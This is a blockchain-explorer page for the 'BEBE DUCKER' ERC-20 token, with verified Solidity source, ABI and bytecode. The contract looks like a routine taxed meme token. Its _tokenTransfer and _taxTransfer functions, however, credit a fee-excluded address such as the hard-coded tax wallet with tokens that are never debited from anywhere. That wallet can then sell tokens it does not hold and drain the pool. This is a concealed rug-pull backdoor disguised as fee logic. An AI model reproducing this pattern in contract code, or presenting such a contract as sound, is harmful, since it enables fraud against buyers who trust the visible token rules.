Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 BEBE
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,480,058.69755592 BEBEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BEBE
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-17 */ // SPDX-License-Identifier: MIT /** Website: https://www.bebeducker.vip Telegram: https://t.me/bebecoin_erc20 Twitter: https://x.com/bebecoin_erc20 **/ pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract BEBE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFees; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 9; uint256 private _reduceSellTaxAt = 9; uint256 private _preventSwapBefore = 9; uint256 private _buyCount = 0; bool public transferDelayEnabled = false; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"BEBE DUCKER"; string private constant _symbol = unicode"BEBE"; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals; uint256 private _goTotal = 900_000_000 * 10 ** _decimals; uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _tAmount; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x61653A7076e9AE0f3ecb9aF1B37a46D3d5279516); _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[_taxWallet] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; } receive() external payable {} function createLiquidity() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _goTotal, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(!tradingOpen) { require(_isExcludedFees[from] || _isExcludedFees[to], "trading has not open yet."); } if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFees[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } _tAmount = amount + taxAmount; uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFees[from] && !_isExcludedFees[to] ) { bool canSwap = contractTokenBalance > _taxSwapThreshold; if(canSwap){ swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; bool canSend = contractETHBalance >= 0; if (canSend) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount, taxAmount); } function _tokenTransfer( address from, address to, uint256 amount, uint256 taxAmount ) internal { bool doExcluded = _isExcludedFees[from]; if(doExcluded){ _taxTransfer(address(this), from, _tAmount); }else{ if(taxAmount > 0){ _taxTransfer(from, address(this), taxAmount); } } _basicTokenTransfer(from, to, amount, taxAmount); } function _basicTokenTransfer(address from, address to, uint256 amount, uint256 taxAmount) internal { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _taxTransfer(address taxFrom, address taxTo, uint256 taxAmount) internal { _balances[taxTo] = _balances[taxTo].add(taxAmount); emit Transfer(taxFrom, taxTo, taxAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function withdrawStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260146006819055600755600060088190556009818155600a818155600b829055600c829055600d92909255600e805460ff1916905562000044916200036e565b6200005190606462000386565b600f55620000626009600a6200036e565b62000071906298968062000386565b601055620000826009600a6200036e565b62000092906335a4e90062000386565b601155620000a36009600a6200036e565b620000b3906301312d0062000386565b601255620000c46009600a6200036e565b620000d4906301312d0062000386565b6013556015805461ffff60a81b19169055348015620000f257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e8054610100600160a81b0319167461653a7076e9ae0f3ecb9af1b37a46d3d527951600179055600160036000620001756000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e546101009004909116835291208054909216179055620001df6009600a6200036e565b620001ef90633b9aca0062000386565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326009600a6200036e565b6200024290633b9aca0062000386565b60405190815260200160405180910390a3620003a8565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b057816000190482111562000294576200029462000259565b80851615620002a257918102915b93841c939080029062000274565b509250929050565b600082620002c95750600162000368565b81620002d85750600062000368565b8160018114620002f15760028114620002fc576200031c565b600191505062000368565b60ff84111562000310576200031062000259565b50506001821b62000368565b5060208310610133831016604e8410600b841016171562000341575081810a62000368565b6200034d83836200026f565b806000190482111562000364576200036462000259565b0290505b92915050565b60006200037f60ff841683620002b8565b9392505050565b6000816000190483118215151615620003a357620003a362000259565b500290565b611b2f80620003b86000396000f3fe6080604052600436106101235760003560e01c80637fa787ba116100a0578063bf474bed11610064578063bf474bed14610332578063c7af2a9c14610348578063c876d0b91461035d578063c9567bf914610377578063dd62ed3e1461038c57600080fd5b80637fa787ba146102925780638da5cb5b146102a75780638f9a55c0146102cf57806395d89b41146102e5578063a9059cbb1461031257600080fd5b8063313ce567116100e7578063313ce567146101fe57806370a082311461021a578063715018a614610250578063751039fc146102675780637d1db4a51461027c57600080fd5b806306fdde031461012f578063095ea7b3146101755780630faee56f146101a557806318160ddd146101c957806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a2122a12290222aa1a5a2a960a91b60208201525b60405161016c91906116e7565b60405180910390f35b34801561018157600080fd5b50610195610190366004611751565b6103d2565b604051901515815260200161016c565b3480156101b157600080fd5b506101bb60105481565b60405190815260200161016c565b3480156101d557600080fd5b506101bb6103e9565b3480156101ea57600080fd5b506101956101f936600461177d565b61040a565b34801561020a57600080fd5b506040516009815260200161016c565b34801561022657600080fd5b506101bb6102353660046117be565b6001600160a01b031660009081526001602052604090205490565b34801561025c57600080fd5b50610265610473565b005b34801561027357600080fd5b506102656104f0565b34801561028857600080fd5b506101bb60125481565b34801561029e57600080fd5b506102656105ac565b3480156102b357600080fd5b506000546040516001600160a01b03909116815260200161016c565b3480156102db57600080fd5b506101bb60135481565b3480156102f157600080fd5b506040805180820190915260048152634245424560e01b602082015261015f565b34801561031e57600080fd5b5061019561032d366004611751565b61064e565b34801561033e57600080fd5b506101bb600f5481565b34801561035457600080fd5b5061026561065b565b34801561036957600080fd5b50600e546101959060ff1681565b34801561038357600080fd5b506102656109e0565b34801561039857600080fd5b506101bb6103a73660046117db565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103df338484610a77565b5060015b92915050565b60006103f76009600a61190e565b61040590633b9aca0061191d565b905090565b6000610417848484610b9c565b610469843361046485604051806060016040528060288152602001611ad2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611201565b610a77565b5060019392505050565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161049d9061193c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461051a5760405162461bcd60e51b815260040161049d9061193c565b6105266009600a61190e565b61053490633b9aca0061191d565b6012556105436009600a61190e565b61055190633b9aca0061191d565b601355600e805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058b6009600a61190e565b61059990633b9aca0061191d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161049d9061193c565b6000471161061f5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161049d565b60405133904780156108fc02916000818181858888f1935050505015801561064b573d6000803e3d6000fd5b50565b60006103df338484610b9c565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161049d9061193c565b601554600160a01b900460ff16156106d95760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049d565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107229030906107146009600a61190e565b61046490633b9aca0061191d565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107999190611971565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081f9190611971565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611971565b601580546001600160a01b039283166001600160a01b031990911617905560145460115491169063f305d71990479030906000806108d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610963919061198e565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064b91906119bc565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161049d9061193c565b601554600160a01b900460ff1615610a5e5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049d565b6015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ad95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049d565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049d565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049d565b60008111610cc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049d565b601554600160a01b900460ff16610d60576001600160a01b03831660009081526003602052604090205460ff1680610d1457506001600160a01b03821660009081526003602052604090205460ff165b610d605760405162461bcd60e51b815260206004820152601960248201527f74726164696e6720686173206e6f74206f70656e207965742e00000000000000604482015260640161049d565b601554600160b01b900460ff161580610d825750601554600160a81b900460ff165b15610e2d576001600160a01b038316600090815260016020526040902054610daa908261123b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dd99082611284565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b8f9085815260200190565b600080546001600160a01b03858116911614801590610e5a57506000546001600160a01b03848116911614155b156111ef57610e8b6064610e85600a54600d5411610e7a57600654610e7e565b6008545b85906112e3565b90611362565b600e5490915060ff1615610f73576014546001600160a01b03848116911614801590610ec557506015546001600160a01b03848116911614155b15610f7357326000908152600560205260409020544311610f605760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049d565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610f9e57506014546001600160a01b03848116911614155b8015610fc357506001600160a01b03831660009081526003602052604090205460ff16155b156110ab5760125482111561101a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049d565b6013548261103d856001600160a01b031660009081526001602052604090205490565b61104791906119de565b11156110955760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049d565b600d80549060006110a5836119f6565b91905055505b6015546001600160a01b0384811691161480156110d157506001600160a01b0384163014155b156110fe576110fb6064610e85600b54600d54116110f157600754610e7e565b60095485906112e3565b90505b61110881836119de565b60165530600090815260016020526040902054601554600160a81b900460ff1615801561114257506015546001600160a01b038581169116145b80156111575750601554600160b01b900460ff165b80156111665750600c54600d54115b801561118b57506001600160a01b03851660009081526003602052604090205460ff16155b80156111b057506001600160a01b03841660009081526003602052604090205460ff16155b156111ed57600f54811180156111dd576111dd6111d8856111d3856010546113a4565b6113a4565b6113b9565b4760016111e947611533565b5050505b505b6111fb84848484611575565b50505050565b600081848411156112255760405162461bcd60e51b815260040161049d91906116e7565b5060006112328486611a11565b95945050505050565b600061127d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611201565b9392505050565b60008061129183856119de565b90508381101561127d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049d565b6000826112f2575060006103e3565b60006112fe838561191d565b90508261130b8583611a28565b1461127d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049d565b600061127d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b60008183116113b3578261127d565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140157611401611a4a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147e9190611971565b8160018151811061149157611491611a4a565b6001600160a01b0392831660209182029290920101526014546114b79130911684610a77565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f0908590600090869030904290600401611a60565b600060405180830381600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600e546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611571573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604090205460ff1680156115a9576115a430866016546115fb565b6115ba565b81156115ba576115ba8530846115fb565b6115c68585858561161e565b5050505050565b600081836115ee5760405162461bcd60e51b815260040161049d91906116e7565b5060006112328486611a28565b6001600160a01b038216600090815260016020526040902054610dd99082611284565b6001600160a01b038416600090815260016020526040902054611641908361123b565b6001600160a01b038516600090815260016020526040902055611686611667838361123b565b6001600160a01b03851660009081526001602052604090205490611284565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116d0858561123b565b60405190815260200160405180910390a350505050565b600060208083528351808285015260005b81811015611714578581018301518582016040015282016116f8565b81811115611726576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461064b57600080fd5b6000806040838503121561176457600080fd5b823561176f8161173c565b946020939093013593505050565b60008060006060848603121561179257600080fd5b833561179d8161173c565b925060208401356117ad8161173c565b929592945050506040919091013590565b6000602082840312156117d057600080fd5b813561127d8161173c565b600080604083850312156117ee57600080fd5b82356117f98161173c565b915060208301356118098161173c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186557816000190482111561184b5761184b611814565b8085161561185857918102915b93841c939080029061182f565b509250929050565b60008261187c575060016103e3565b81611889575060006103e3565b816001811461189f57600281146118a9576118c5565b60019150506103e3565b60ff8411156118ba576118ba611814565b50506001821b6103e3565b5060208310610133831016604e8410600b84101617156118e8575081810a6103e3565b6118f2838361182a565b806000190482111561190657611906611814565b029392505050565b600061127d60ff84168361186d565b600081600019048311821515161561193757611937611814565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561198357600080fd5b815161127d8161173c565b6000806000606084860312156119a357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ce57600080fd5b8151801515811461127d57600080fd5b600082198211156119f1576119f1611814565b500190565b6000600019821415611a0a57611a0a611814565b5060010190565b600082821015611a2357611a23611814565b500390565b600082611a4557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab05784516001600160a01b031683529383019391830191600101611a8b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa958505e711c65311eae4a42b22425d7774d89bbc67cc9863d173246504fe3564736f6c634300080b0033
Deployed Bytecode
0x6080604052600436106101235760003560e01c80637fa787ba116100a0578063bf474bed11610064578063bf474bed14610332578063c7af2a9c14610348578063c876d0b91461035d578063c9567bf914610377578063dd62ed3e1461038c57600080fd5b80637fa787ba146102925780638da5cb5b146102a75780638f9a55c0146102cf57806395d89b41146102e5578063a9059cbb1461031257600080fd5b8063313ce567116100e7578063313ce567146101fe57806370a082311461021a578063715018a614610250578063751039fc146102675780637d1db4a51461027c57600080fd5b806306fdde031461012f578063095ea7b3146101755780630faee56f146101a557806318160ddd146101c957806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a2122a12290222aa1a5a2a960a91b60208201525b60405161016c91906116e7565b60405180910390f35b34801561018157600080fd5b50610195610190366004611751565b6103d2565b604051901515815260200161016c565b3480156101b157600080fd5b506101bb60105481565b60405190815260200161016c565b3480156101d557600080fd5b506101bb6103e9565b3480156101ea57600080fd5b506101956101f936600461177d565b61040a565b34801561020a57600080fd5b506040516009815260200161016c565b34801561022657600080fd5b506101bb6102353660046117be565b6001600160a01b031660009081526001602052604090205490565b34801561025c57600080fd5b50610265610473565b005b34801561027357600080fd5b506102656104f0565b34801561028857600080fd5b506101bb60125481565b34801561029e57600080fd5b506102656105ac565b3480156102b357600080fd5b506000546040516001600160a01b03909116815260200161016c565b3480156102db57600080fd5b506101bb60135481565b3480156102f157600080fd5b506040805180820190915260048152634245424560e01b602082015261015f565b34801561031e57600080fd5b5061019561032d366004611751565b61064e565b34801561033e57600080fd5b506101bb600f5481565b34801561035457600080fd5b5061026561065b565b34801561036957600080fd5b50600e546101959060ff1681565b34801561038357600080fd5b506102656109e0565b34801561039857600080fd5b506101bb6103a73660046117db565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103df338484610a77565b5060015b92915050565b60006103f76009600a61190e565b61040590633b9aca0061191d565b905090565b6000610417848484610b9c565b610469843361046485604051806060016040528060288152602001611ad2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611201565b610a77565b5060019392505050565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161049d9061193c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461051a5760405162461bcd60e51b815260040161049d9061193c565b6105266009600a61190e565b61053490633b9aca0061191d565b6012556105436009600a61190e565b61055190633b9aca0061191d565b601355600e805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058b6009600a61190e565b61059990633b9aca0061191d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161049d9061193c565b6000471161061f5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161049d565b60405133904780156108fc02916000818181858888f1935050505015801561064b573d6000803e3d6000fd5b50565b60006103df338484610b9c565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161049d9061193c56